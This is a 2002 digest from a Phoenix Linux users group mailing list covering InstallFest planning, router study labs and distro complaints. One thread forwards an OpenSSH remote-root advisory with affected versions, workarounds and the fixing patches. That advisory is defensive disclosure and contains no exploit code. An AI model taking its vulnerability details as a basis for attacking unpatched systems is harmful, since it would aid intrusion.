You can write some help files - many of which need to be done. It's open source which means that it is built through the efforts of people like you and me as well as the programmers. ipchains scripts & iptables scripts are available and really have nothing to do with programming anyway. Programs like firestarter can simplify the process for those who have little understanding of firewall scripts. But firewall scripts have nothing to do with programming but they do have something to do with understanding tcp/ip. Craig From plug-discuss@lists.plug.phoenix.az.us Wed Jun 26 14:44:15 2002 From: plug-discuss@lists.plug.phoenix.az.us (Robert Bushman) Date: Wed, 26 Jun 2002 10:44:15 -0400 (EDT) Subject: West Side InstallFest In-Reply-To: Message-ID: On Wed, 26 Jun 2002, der.hans wrote: > > It was mentioned that der.hans provided quite > > a bit of invaluable wiring and power gear, that > > My gear can be made available again. Thank You! > Pre-arrange for 802.11 stuff. > > Get a press release ready before the end of July and hit it again at the end > of Aug. > > Set aside a place for demos and mark it clearly. > > Do the presentations. We got good traffic out of those. > > Have promo materials for the meetings and a workstation where people can > sign up for the mailing list ( they'll still need to reply when they check > their email ). Excellant Ideas! Thanks! > Homemade cheesecake goes over really well :). A rule I try to live my life by :) From plug-discuss@lists.plug.phoenix.az.us Wed Jun 26 14:47:48 2002 From: plug-discuss@lists.plug.phoenix.az.us (Robert Bushman) Date: Wed, 26 Jun 2002 10:47:48 -0400 (EDT) Subject: InstallFest & StarOffice? In-Reply-To: Message-ID: I'm contacting the educational distribution rep for Sun StarOffice today regarding some licenses for my office. Would anyone be opposed to my inviting them to sponsor the InstallFest? Are we entirely dedicated to OpenOffice, or would it be OK to also have StarOffice on site (and potentially for sale)? From plug-discuss@lists.plug.phoenix.az.us Thu Jun 27 04:01:36 2002 From: plug-discuss@lists.plug.phoenix.az.us (User) Date: Wed, 26 Jun 2002 21:01:36 -0700 Subject: Hello I'm new (kinda) References: <20020626080850.51634.qmail@web13408.mail.yahoo.com> Message-ID: <3D1A8E20.E0B24537@mindspring.com> bob smith wrote: > Hello Kyle, Welcome aboard. > > > Anyways, I'd like to extend my thanks to everyone in > > and running this > > group; You guys really do a stellar job. > > > > > -Kyle > > Linux: It's a good thing. > Don't forget Tux's pitchfork toting cousin :). I just > got perfect dvd playback in freebsd which is something > I never could accomplish in Linux (My own fault though > I would assume since I'm using the linux modules to do > this). Just out of curiosity was there any mention of > FreeBSD at the latest installfest? > Yes FreeBSD and OpenBSD were represented. > > __________________________________________________ > Do You Yahoo!? > Yahoo! - Official partner of 2002 FIFA World Cup > http://fifaworldcup.yahoo.com > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Wed Jun 26 16:06:22 2002 From: plug-discuss@lists.plug.phoenix.az.us (Jay) Date: Wed, 26 Jun 2002 09:06:22 -0700 (MST) Subject: SSH Exploit Revealed (fwd) Message-ID: *** OpenSSH Remote Root Exploit *** Hey all. I just sent this to AZIPA and considering the severe impact of a remote root exploit, and the fact that many of you are probably running OpenSSH, I thought I'd forward it to PLUG too. Details below: -- ~Jay ---------- Forwarded message ---------- Date: Wed, 26 Jun 2002 09:04:33 -0700 (MST) From: Jay To: AZIPA Subject: SSH Exploit Revealed *REMEMBER* OpenSSH is included in many products - you may be running it and not even know it. If any of your equipment (routers, servers, switches, toasters, etc...) supports secure remote login/management, then chances are you're using some form of SSH. There is a vulnerability in OpenSSH that allows an attacker to *remotely* gain root/administrator/super-user (full control) over the system. EdgeSecure already performs a test for this vulnerability - Threat ID# 11031 - http://www.edgeos.com/threats/details.php?id=11031 An EdgeSecure Advanced Scan (http://www.edgeos.com) will quickly test any of your systems for this security threat. I have included the official OpenSSH advisory notice below. If you *are* vulnerable to this threat, you should implement the solutions described below. If your version of SSH is embedded in a device (like a router or some vendor's server management software, for example), then you should contact your vendor *immediately* for a patch. -- == Jay Jacobson == Edgeos, Inc. - Security is Critical - http://www.edgeos.com == We help you to easily get control of your network's security. == ...or some hacker can just take control instead. You decide. --- OpenSSH Advisory --- Subject: OpenSSH Security Advisory (adv.iss) 1. Versions affected: All versions of OpenSSH's sshd between 2.9.9 and 3.3 contain an input validation error that can result in an integer overflow and privilege escalation. OpenSSH 3.4 and later are not affected. OpenSSH 3.2 and later prevent privilege escalation if UsePrivilegeSeparation is enabled in sshd_config. OpenSSH 3.3 enables UsePrivilegeSeparation by default. Although OpenSSH 2.9 and earlier are not affected upgrading to OpenSSH 3.4 is recommended, because OpenSSH 3.4 adds checks for a class of potential bugs. 2. Impact: This bug can be exploited remotely if ChallengeResponseAuthentication is enabled in sshd_config. Affected are at least systems supporting s/key over SSH protocol version 2 (OpenBSD, FreeBSD and NetBSD as well as other systems supporting s/key with SSH). Exploitablitly of systems using PAM in combination has not been verified. 3. Short-Term Solution: Disable ChallengeResponseAuthentication in sshd_config. or Enable UsePrivilegeSeparation in sshd_config. 4. Solution: Upgrade to OpenSSH 3.4 or apply the following patches. 5. Credits: ISS. Appendix: A: Index: auth2-chall.c =================================================================== RCS file: /cvs/src/usr.bin/ssh/auth2-chall.c,v retrieving revision 1.18 diff -u -r1.18 auth2-chall.c --- auth2-chall.c 19 Jun 2002 00:27:55 -0000 1.18 +++ auth2-chall.c 26 Jun 2002 09:37:03 -0000 @@ -256,6 +256,8 @@ authctxt->postponed = 0; /* reset */ nresp = packet_get_int(); + if (nresp > 100) + fatal("input_userauth_info_response: nresp too big %u", nresp); if (nresp > 0) { response = xmalloc(nresp * sizeof(char*)); for (i = 0; i < nresp; i++) B: Index: auth2-pam.c =================================================================== RCS file: /var/cvs/openssh/auth2-pam.c,v retrieving revision 1.12 diff -u -r1.12 auth2-pam.c --- auth2-pam.c 22 Jan 2002 12:43:13 -0000 1.12 +++ auth2-pam.c 26 Jun 2002 10:12:31 -0000 @@ -140,6 +140,15 @@ nresp = packet_get_int(); /* Number of responses. */ debug("got %d responses", nresp); + + if (nresp != context_pam2.num_expected) + fatal("%s: Received incorrect number of responses " + "(expected %u, received %u)", __func__, nresp, + context_pam2.num_expected); + + if (nresp > 100) + fatal("%s: too many replies", __func__); + for (i = 0; i < nresp; i++) { int j = context_pam2.prompts[i]; ------------ From plug-discuss@lists.plug.phoenix.az.us Wed Jun 26 16:21:16 2002 From: plug-discuss@lists.plug.phoenix.az.us (Jim) Date: Wed, 26 Jun 2002 09:21:16 -0700 Subject: InstallFest & StarOffice? In-Reply-To: References: Message-ID: <0206260921160S.07972@nova.wedge.org> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Go For It! The more "big kids" who jump on board, the better. On Wednesday 26 June 2002 07:47, you wrote: > I'm contacting the educational distribution rep > for Sun StarOffice today regarding some licenses > for my office. Would anyone be opposed to my > inviting them to sponsor the InstallFest? Are > we entirely dedicated to OpenOffice, or would > it be OK to also have StarOffice on site (and > potentially for sale)? > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss - -- Jim Freedom is worth protecting -----BEGIN PGP SIGNATURE----- Version: PGP 6.5.8 iQA/AwUBPRnp/Csk3ywszI1FEQIzjQCeOXt/lJIPsqEW8sw01N7wu6wwW28AoKwY Gacak1KvYImB+gek1pJTNrmr =AQ7k -----END PGP SIGNATURE----- From plug-discuss@lists.plug.phoenix.az.us Wed Jun 26 16:15:39 2002 From: plug-discuss@lists.plug.phoenix.az.us (William Lindley) Date: Wed, 26 Jun 2002 09:15:39 -0700 (MST) Subject: InstallFest & StarOffice? In-Reply-To: Message-ID: Any sponsor who will agree, is a fine sponsor in my book. Hey, if Bill Gates wants to be a sponsor, that's fine too. From plug-discuss@lists.plug.phoenix.az.us Wed Jun 26 16:31:53 2002 From: plug-discuss@lists.plug.phoenix.az.us (Tom Achtenberg) Date: Wed, 26 Jun 2002 09:31:53 -0700 Subject: InstallFest & StarOffice? Message-ID: <4A8DFDA6B395D411A11B00508BEE23FE76B523@mail.int.fh.org> Maybe he could resurrect the old Unix version of Outlook..... -----Original Message----- From: William Lindley [mailto:wlindley@wlindley.com] Sent: Wednesday, June 26, 2002 9:16 AM To: plug-discuss@lists.plug.phoenix.az.us Subject: Re: InstallFest & StarOffice? Any sponsor who will agree, is a fine sponsor in my book. Hey, if Bill Gates wants to be a sponsor, that's fine too. ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Wed Jun 26 16:35:31 2002 From: plug-discuss@lists.plug.phoenix.az.us (Derek Neighbors) Date: Wed, 26 Jun 2002 11:35:31 -0500 (CDT) Subject: West Side InstallFest In-Reply-To: Message-ID: > 4. I will start an old war here. I would love to see PLUG have a membership database, that let people list their specialities etc.. This would be nice so that if we wanted to ever do mailings for things like install fests guest speakers and such, but more importantly if someone says "I want to install Free BSD on an AMIGA" (or something) we could help find someone who might have experience in that. More over, it would be nice to have people coming to the install fests sign up so we could do adequate followup and inform them of training and the likes. I realize much of this group is very strict privacy and has a paranoia of giving their data to people, what I'm proposing would be strictly optional. -Derek From plug-discuss@lists.plug.phoenix.az.us Wed Jun 26 17:07:05 2002 From: plug-discuss@lists.plug.phoenix.az.us (Logan Kennelly) Date: Wed, 26 Jun 2002 10:07:05 -0700 Subject: West Side InstallFest In-Reply-To: References: Message-ID: <200206261007.11942.voltage_spike@fastmail.fm> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 On Wednesday 26 June 2002 09:35 am, Derek Neighbors wrote: > I will start an old war here. I would love to see PLUG have a membership > database, that let people list their specialities etc.. This would be > nice so that if we wanted to ever do mailings for things like install > fests guest speakers and such, but more importantly if someone says "I > want to install Free BSD on an AMIGA" (or something) we could help find > someone who might have experience in that. > > More over, it would be nice to have people coming to the install fests > sign up so we could do adequate followup and inform them of training and > the likes. How would this be significantly different from a posting to the PLUG mailing list? An expert who sees the title "Free BSD on an AMIGA" is just as likely to volunteer with or without being registered. Additionally, please lose and gain skills constantly, but probably do not wish to maintain a PLUG profile (at least, I don't particularly care to). About the install-festees (can we call them that?), I am also in favor of the earlier suggestion that they sign onto the mailing list through a "subscriber box" while they are present. This way the followup and announcements would be along the lines of 30-50 messages a day! Certainly that is enough. ;-) It is a good idea, I just don't see it as being necessary given the nature of the PLUG mailing list. - -- Logan Kennelly ,,, (. .) - --ooO-(_)-Ooo-- -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: For info see http://www.gnupg.org iD8DBQE9GfS9pNoctRtUIRQRArolAJ9P/In24vvFRWjYE/Fd6MbEl9QaiACghQcu 7JXOEtj1qTBgP/1cPCDVp3c= =A328 -----END PGP SIGNATURE----- From plug-discuss@lists.plug.phoenix.az.us Wed Jun 26 17:27:10 2002 From: plug-discuss@lists.plug.phoenix.az.us (Raymond Cantwell) Date: Wed, 26 Jun 2002 10:27:10 -0700 Subject: Router Simulator Message-ID: <3D19F96E.5080600@qwest.net> Hola, I was wondering if anybody new where i could get a Cisco router simulator that ran under Linux. I have one for my wifes M$ box but, need one for my linux box so i can use it outside of the house. Ray malbojia@qwest.net From plug-discuss@lists.plug.phoenix.az.us Wed Jun 26 17:36:17 2002 From: plug-discuss@lists.plug.phoenix.az.us (Don Calfa) Date: Wed, 26 Jun 2002 10:36:17 -0700 Subject: Hello I'm new (kinda) References: <20020626080850.51634.qmail@web13408.mail.yahoo.com> Message-ID: <3D19FB91.7020504@netscape.net> Are you able to play Region 1 DVD's? I am only able to play region free DVD's on Mandrake 8.2 bob smith wrote: >Hello Kyle, Welcome aboard. > > > >>Anyways, I'd like to extend my thanks to everyone in >>and running this >>group; You guys really do a stellar job. >> >> >> > > > >>-Kyle >>Linux: It's a good thing. >> >> >Don't forget Tux's pitchfork toting cousin :). I just >got perfect dvd playback in freebsd which is something >I never could accomplish in Linux (My own fault though >I would assume since I'm using the linux modules to do >this). Just out of curiosity was there any mention of >FreeBSD at the latest installfest? > >__________________________________________________ >Do You Yahoo!? >Yahoo! - Official partner of 2002 FIFA World Cup >http://fifaworldcup.yahoo.com >________________________________________________ >See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > >PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us >http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > From plug-discuss@lists.plug.phoenix.az.us Wed Jun 26 17:38:42 2002 From: plug-discuss@lists.plug.phoenix.az.us (Derek Neighbors) Date: Wed, 26 Jun 2002 12:38:42 -0500 (CDT) Subject: West Side InstallFest In-Reply-To: <200206261007.11942.voltage_spike@fastmail.fm> Message-ID: > How would this be significantly different from a posting to the PLUG mailing > list? An expert who sees the title "Free BSD on an AMIGA" is just as > likely to volunteer with or without being registered. Additionally, please > lose and gain skills constantly, but probably do not wish to maintain a > PLUG profile (at least, I don't particularly care to). Many people are not willing to get 100's of emails a day, so will not subscribe to high traffic list serv. You could then argue use the announce list. Email lists are good for somethings, but they are no substitute for a good contact database. GNU\Linux is good, but it doesnt sell itself. (at least not at exponential rates) If we want to keep up we will need to be more organized. Recent calls to action politically are an example, if there was a database and people were able to flag, 'interested in lobbying' or such then it would be easier to mobilize quickly. Actually I will stop, as this boils down to a privacy debate, not a usage debate. The fact is many people are paranoid of having their name on a list, any list, for any reason. Regardless of usefulness their opinion will not be changed. > It is a good idea, I just don't see it as being necessary given the nature > of the PLUG mailing list. The nature of the PLUG list is much more like a conversation at a bar (read lots of off topic stuff, and im not advocating we change that) than a way to exchange direct contact that is highly specific. -Derek From plug-discuss@lists.plug.phoenix.az.us Wed Jun 26 17:40:57 2002 From: plug-discuss@lists.plug.phoenix.az.us (Derek Neighbors) Date: Wed, 26 Jun 2002 12:40:57 -0500 (CDT) Subject: Router Simulator In-Reply-To: <3D19F96E.5080600@qwest.net> Message-ID: At one time there was a presentation by a fellow going through Cisco certification that had setup an environment and was willing to let others use it and play and help anyone interested use Linux to study for Cisco certs. I would give you his name, but for privacy reasons we like to be anonymous so we can not help one another efficiently. (yes being sarcastic smart ass) ;) -Derek On Wed, 26 Jun 2002, Raymond Cantwell wrote: > Hola, > I was wondering if anybody new where i could get a Cisco router > simulator that ran under Linux. I have one for my wifes M$ box but, need > one for my linux box so i can use it outside of the house. > Ray > malbojia@qwest.net > > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Wed Jun 26 17:34:11 2002 From: plug-discuss@lists.plug.phoenix.az.us (Jeff James) Date: Wed, 26 Jun 2002 10:34:11 -0700 Subject: West Side InstallFest Message-ID:

It would also be nice to have a few "Fully-Functional" stations set up for "demo" purposes for anyone new to Linux who might want to see "what it can do for me".  These stations can include a couple set up as dual / multi-boot.

JJ

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From: Robert Bushman
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Subject: West Side InstallFest
Date: Wed, 26 Jun 2002 00:43:29 -0400 (EDT)
The InstallFest Post Mortem this evening was a
lot of fun, and can be briefly summarized as,
"InstallFest was great! Let's do it again!"
With that in mind the list of volunteers for the
West Side InstallFest has begun:
Flyer: Michelle Lowman
Press: Lee Einer
Site: Steve (foodog) (pending GCC approval)
Web Site: Jim Farli
Chairman: Bob Bushman
Sponsor Wrangler: Available
Installers: Anyone here ever installed Linux before?
Other: How would you like to help?
It was mentioned that der.hans provided quite
a bit of invaluable wiring and power gear, that
Alan has an appreciable network of sponsor
contacts (and Jim may be able to bend the ear
of someone at O'Reilly), and that William
Lindley might have some organizational advice.
Of course, your help is appreciated in any
area you can support.
As a tentative date, I'd like to suggest Saturday,
September 28. Jim suggested this would give
students time to settle into the fall semester
and start looking for weekend distractions.
On potential improvements, some things that caught
my attention at the post mortem were:
1. More stations to allow more simultaneous installs.
2. Preliminary survey to identify users who want
specialized installs.
3. Trans/Post-liminary survey to record the gear
being used, OS being replaced, FAQs, etc.
4.
Bob
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From plug-discuss@lists.plug.phoenix.az.us Wed Jun 26 17:41:05 2002 From: plug-discuss@lists.plug.phoenix.az.us (Lynn David Newton) Date: Wed, 26 Jun 2002 10:41:05 -0700 Subject: Linux boot sequence Message-ID: <15641.64689.269204.365137@bela.interhack.net> Can anyone point me to a Web page that explains the Linux boot sequence at a high level? I'm not looking for nitty gritty information. In fact, I'm talking about skipping entirely over the details of what goes on in the kernel. I mean something like: o Kernel loads and starts o init starts o inittab looked at o runs through startup scripts ... etc., but I need to get the pieces in the right order. I'll be teaching a class that includes a birds eye view of Linux booting and shutdown, and need to be sure I've got my information straight. I need this sorta soon, so direct email responses would be much appreciated, since I tend to miss some things on the list. Thanks much From plug-discuss@lists.plug.phoenix.az.us Wed Jun 26 17:53:11 2002 From: plug-discuss@lists.plug.phoenix.az.us (Lynn David Newton) Date: Wed, 26 Jun 2002 10:53:11 -0700 Subject: Linux boot sequence In-Reply-To: <15641.64689.269204.365137@bela.interhack.net> References: <15641.64689.269204.365137@bela.interhack.net> Message-ID: <15641.65415.744992.78794@bela.interhack.net> Never mind ... Lynn> Can anyone point me to a Web page that explains the Lynn> Linux boot sequence ... I found a great one at http://www.yolinux.com/TUTORIALS/LinuxTutorialInitProcess.html in case anyone is looking for such a thing. (This looks like a pretty good series of tutorials, BTW.) No need to respond, I'll just use this. Sorry I neglected to sign my last message. -- Lynn David Newton Phoenix, AZ http://www.eecs.umich.edu/ldn From plug-discuss@lists.plug.phoenix.az.us Wed Jun 26 18:20:44 2002 From: plug-discuss@lists.plug.phoenix.az.us (Bob George) Date: Wed, 26 Jun 2002 11:20:44 -0700 Subject: Router Simulator References: Message-ID: <3D1A05FC.4020901@ttlexceeded.com> Derek Neighbors wrote: >At one time there was a presentation by a fellow going through Cisco >certification that had setup an environment and was willing to let others >use it and play and help anyone interested use Linux to study for Cisco >certs. > I've got a (Linux-based) lab set up at http://lab.ttlexceeded.com:8201 that anyone's welcome to use. There are five Cisco 2500-series routers in the pod, with live token-ring and ethernet. The arrangement will allow frame switch configurations, ptp and multipoint OSPF, etc. I get about 10-15 hours of usage between them daily, so there's usually one or two free most of the time. >I would give you his name, but for privacy reasons we like to be anonymous >so we can not help one another efficiently. (yes being sarcastic smart >ass) ;) > I did a presentation on routing last year. Not sure if I'm the party to which you are referring though. :) - Bob From plug-discuss@lists.plug.phoenix.az.us Wed Jun 26 18:26:46 2002 From: plug-discuss@lists.plug.phoenix.az.us (Kyle OMalley) Date: Wed, 26 Jun 2002 11:26:46 -0700 Subject: Hello I'm new (kinda) In-Reply-To: <20020626080850.51634.qmail@web13408.mail.yahoo.com> References: <20020625202707.GB31500@aries.evilmascot.com> <20020626080850.51634.qmail@web13408.mail.yahoo.com> Message-ID: <20020626182646.GA31947@aries.evilmascot.com> On Wed, Jun 26, 2002 at 01:08:50AM -0700, bob smith wrote: > Hello Kyle, Welcome aboard. > > > Anyways, I'd like to extend my thanks to everyone in > > and running this > > group; You guys really do a stellar job. > > > > > -Kyle > > Linux: It's a good thing. > Don't forget Tux's pitchfork toting cousin :). I just > got perfect dvd playback in freebsd which is something > I never could accomplish in Linux (My own fault though > I would assume since I'm using the linux modules to do > this). Just out of curiosity was there any mention of > FreeBSD at the latest installfest? > > __________________________________________________ > Do You Yahoo!? > Yahoo! - Official partner of 2002 FIFA World Cup > http://fifaworldcup.yahoo.com > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss I also use fbsd in a number of places and really enjoy it. My only problem is it obviously doesnt have the support and momentum like linux does. The consistency and stability (when the drivers are highly developed) are killer, along with ffs and and REALLY like the fact it uses disk slices as compared to using dos paritioning. I use it on my samba servers, plus I've built a box that does bridging/traffic shapping (using dummynet). Works AMAZINGLY well and is a million times easier to implement compared to cbq stuff on linux. I wish there were a monthly bsd meeting. Is there? I seem to recall searching them out awhile back but all I came up with was a broken website. -Kyle From plug-discuss@lists.plug.phoenix.az.us Wed Jun 26 18:29:06 2002 From: plug-discuss@lists.plug.phoenix.az.us (Larry Lauer) Date: Wed, 26 Jun 2002 11:29:06 -0700 Subject: Router Simulator Message-ID: <2AAC72149C827944B96C854ABD0BCAFF1A4E0B@azmscorp01.corp.azms> Not sure if this will be of any use have you tried setting up wine on the linux box to see if you could get the sim from the other system to run. Just a thought. Larry -----Original Message----- From: Derek Neighbors [mailto:derek@gnue.org] Sent: Wednesday, June 26, 2002 10:41 AM To: PLUG-discuss Subject: Re: Router Simulator At one time there was a presentation by a fellow going through Cisco certification that had setup an environment and was willing to let others use it and play and help anyone interested use Linux to study for Cisco certs. I would give you his name, but for privacy reasons we like to be anonymous so we can not help one another efficiently. (yes being sarcastic smart ass) ;) -Derek On Wed, 26 Jun 2002, Raymond Cantwell wrote: > Hola, > I was wondering if anybody new where i could get a Cisco router > simulator that ran under Linux. I have one for my wifes M$ box but, need > one for my linux box so i can use it outside of the house. > Ray > malbojia@qwest.net > > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Wed Jun 26 18:25:58 2002 From: plug-discuss@lists.plug.phoenix.az.us (Bob George) Date: Wed, 26 Jun 2002 11:25:58 -0700 Subject: Router Simulator References: <3D19F96E.5080600@qwest.net> Message-ID: <3D1A0736.1030805@ttlexceeded.com> Raymond Cantwell wrote: > I was wondering if anybody new where i could get a Cisco router > simulator that ran under Linux. I have one for my wifes M$ box but, > need one for my linux box so i can use it outside of the house. I'm not sure about simulators, but you can make your Linux box into a live router using Zebra. Zebra uses a very Cisco-like interface. Me and some pals hooked up our home systems via Zebra to create the OpenWISP (Worldwide Internet Simulation Project) -- a grandiose name for our little distributed routing lab. I had my Linux box and five routers, another guy had a Cisco router and another only a Linux box. We were able to set up some sophisticated BGP routing scenarios that helped me ace that portion of the CCNP exams. If you have a handful of Linux boxen, or even VMware, Zebra can help add complexity to your routing scenarios. What's more, it's the "real thing", so you wind up with more of an idea of the "real world" than with many simulators. BGP wasn't really interesting until we had 7 or 8 routers and a few ASen going. You can easily miss the finer points of route redistribution with only 2 or 3 routers. I mentioned my free router pod (http://lab.ttlexceeded.com:8201) in a separate message to Derek in this thread. - Bob From plug-discuss@lists.plug.phoenix.az.us Wed Jun 26 18:25:44 2002 From: plug-discuss@lists.plug.phoenix.az.us (William Lindley) Date: Wed, 26 Jun 2002 11:25:44 -0700 (MST) Subject: Router Simulator In-Reply-To: Message-ID: Try FreeSCO --- http://www.freesco.org \\/ From plug-discuss@lists.plug.phoenix.az.us Wed Jun 26 18:40:07 2002 From: plug-discuss@lists.plug.phoenix.az.us (Derek Neighbors) Date: Wed, 26 Jun 2002 13:40:07 -0500 (CDT) Subject: Router Simulator In-Reply-To: <3D1A05FC.4020901@ttlexceeded.com> Message-ID: > >I would give you his name, but for privacy reasons we like to be anonymous > >so we can not help one another efficiently. (yes being sarcastic smart > >ass) ;) > > > I did a presentation on routing last year. Not sure if I'm the party to > which you are referring though. :) Definitely you are, man was the presentation that long ago. :) I was going to add I think his first name is Bob, but wasnt sure if that was right. -Derek From plug-discuss@lists.plug.phoenix.az.us Wed Jun 26 18:38:31 2002 From: plug-discuss@lists.plug.phoenix.az.us (Bob George) Date: Wed, 26 Jun 2002 11:38:31 -0700 Subject: SSH - Preparing for the big one (was Re: SSH Exploit Revealed (fwd)) References: Message-ID: <3D1A0A27.10207@ttlexceeded.com> Jay wrote: >*** OpenSSH Remote Root Exploit *** > >Hey all. I just sent this to AZIPA and considering the severe impact of a >remote root exploit, and the fact that many of you are probably running >OpenSSH, I thought I'd forward it to PLUG too. Details below: > I've been following this with some concern since I run ssh for my little routing lab. That *used* to make me feel better. Anyhow, I'm running Debian and just did an apt-get dist-upgrade to OpenSSH 3.3p1-0.0potato6. I run sshd only on a non-default port *not* covered by nmap by default. I think I'm in pretty good shape, but wanted to check with others and see if there are any other recommendations (short of shutting it off). I also noticed the following in my log today. I had updated to 3.3 a couple of days ago, so that's what was running when this showed. I just don't know enough about the innards of ssh to know if this is an issue: Jun 26 07:50:09 localhost sshd[14694]: fatal: mm_request_send: write Thanks to logcheck, things like that get noticed. That's the only occurence, and everything else looks like normal activity. - Bob From plug-discuss@lists.plug.phoenix.az.us Wed Jun 26 18:39:10 2002 From: plug-discuss@lists.plug.phoenix.az.us (slr) Date: Wed, 26 Jun 2002 11:39:10 -0700 Subject: SuSE 7.3 sparc64 Message-ID: <200206261139.10339.zen2now@qwest.net> I installed SuSE 7.3 on my Sun Ultra 5, and my current issue is changing my hostname without using YaST. i made the change in /etc/hosts and /etc/HOSTNAME, but there seems to be another file, or other files that contain the real hostname. so editing /etc/hosts or /etc/HOSTNAME have no effect on the machines hostname. just a little curious as to where the "Real Hostname" is located. BTW this is my first time really working with SuSE, RH and MDK have been my flavors of choice. slr From plug-discuss@lists.plug.phoenix.az.us Wed Jun 26 18:59:20 2002 From: plug-discuss@lists.plug.phoenix.az.us (Bob George) Date: Wed, 26 Jun 2002 11:59:20 -0700 Subject: Router Simulator References: Message-ID: <3D1A0F08.1010502@ttlexceeded.com> William Lindley wrote: >Try FreeSCO --- http://www.freesco.org > No doubt a nice package for anyone setting up a small gateway/router/firewall, but I'm not sure how relevant it would be for someone looking for Cisco study. I don't even see a routing daemon listed on the standard config. - Bob From plug-discuss@lists.plug.phoenix.az.us Wed Jun 26 19:24:13 2002 From: plug-discuss@lists.plug.phoenix.az.us (Richard L. Proctor) Date: Wed, 26 Jun 2002 12:24:13 -0700 Subject: Crappy Products Cost More!! Message-ID: <000c01c21d47$0e4dd2e0$0e02a8c0@krycom> This is a multi-part message in MIME format. ------=_NextPart_000_0009_01C21D0C.61B65EB0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Is it my imagination or does it seem that the worst products always = costs more. ie. If you want Windows XP you plan on paying $179. for = the home version and more for the professional version. Again with = RedHat you have a $79.95 personal or workstation edition and comes with = 3 cd's. Get the professional version for around $199.00 and i'm not = sure how many cd's come with it. Is RedHat trying to compete with = Microsoft on who can supply the most expensive product? Before anyone goes off saying well you can just download the distro and = don't have to pay those prices. I am thinking of the newbies. I would = never hand a newbie 3 cd's and say here ya go. I would like to have the = documentation to go with it. Of course Redhat and Windows both give you = wafer thin manuals. SuSE and Mandrake give you good size manuals with = plenty of information packed in them. Also SuSE Professional is only = $79.95 and comes with 7 cd's and one DVD. The DVD had everything all 7 = cd's have and you don't have to do any disk swaps. I have worked with Redhat, Mandrake, and SuSE and it seems that Redhat = lags far behind the competitors. Try to install Redhat on a seperate = hard disk with Windows XP on the first hard disk in NTFS format, Redhat = won't even make an entry for Windows XP in lilo. I can imagine the = panic attack a newbies face after the redhat install and the only option = is Redhat. LOL That is of course if you can get Redhat to install in = the first place. It don't like being on a second drive or on a partiton = with windows that's any larger than 8 gigs. SuSE has always installed on any drive no matter what the size or what = drive since version 7.1 and earlier maybe. This is a serious issue that = Redhat needs to address. I dunno, I just don't see how the cost of Redhat boxed distro's is = justified. Maybe i'm missing the point? Is there anyone out there that = can show me the point? ------=_NextPart_000_0009_01C21D0C.61B65EB0 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
Is it my imagination or does it seem = that the worst=20 products always costs more.  ie.  If you want Windows XP you = plan on=20 paying $179. for the home version and more for the professional = version. =20 Again with RedHat you have a $79.95 personal or workstation edition and = comes=20 with 3 cd's.  Get the professional version for around $199.00 and = i'm not=20 sure how many cd's come with it.  Is RedHat trying to compete with=20 Microsoft on who can supply the most expensive product?
 
Before anyone goes off saying well you = can just=20 download the distro and don't have to pay those prices.  I am = thinking of=20 the newbies.  I would never hand a newbie 3 cd's and say here ya = go. =20 I would like to have the documentation to go with it.  Of course = Redhat and=20 Windows both give you wafer thin manuals.  SuSE and Mandrake give = you good=20 size manuals with plenty of information packed in them.  Also SuSE=20 Professional is only $79.95 and comes with 7 cd's and one DVD.  The = DVD had=20 everything all 7 cd's have and you don't have to do any disk = swaps.
 
I have worked with Redhat, Mandrake, = and SuSE and=20 it seems that Redhat lags far behind the competitors.  Try to = install=20 Redhat on a seperate hard disk with Windows XP on the first hard disk in = NTFS=20 format,  Redhat won't even make an entry for Windows XP in = lilo.  I=20 can imagine the panic attack a newbies face after the redhat install and = the=20 only option is Redhat.  LOL  That is of course if you can get = Redhat=20 to install in the first place. It don't like being on a second drive or = on a=20 partiton with windows that's any larger than 8 gigs.
 
SuSE has always installed on any drive = no matter=20 what the size or what drive since version 7.1 = and earlier maybe. =20 This is a serious issue that Redhat needs to address.
 
I dunno,  I just don't see how the = cost of=20 Redhat boxed distro's is justified.  Maybe i'm missing the = point?  Is=20 there anyone out there that can show me the point?
 
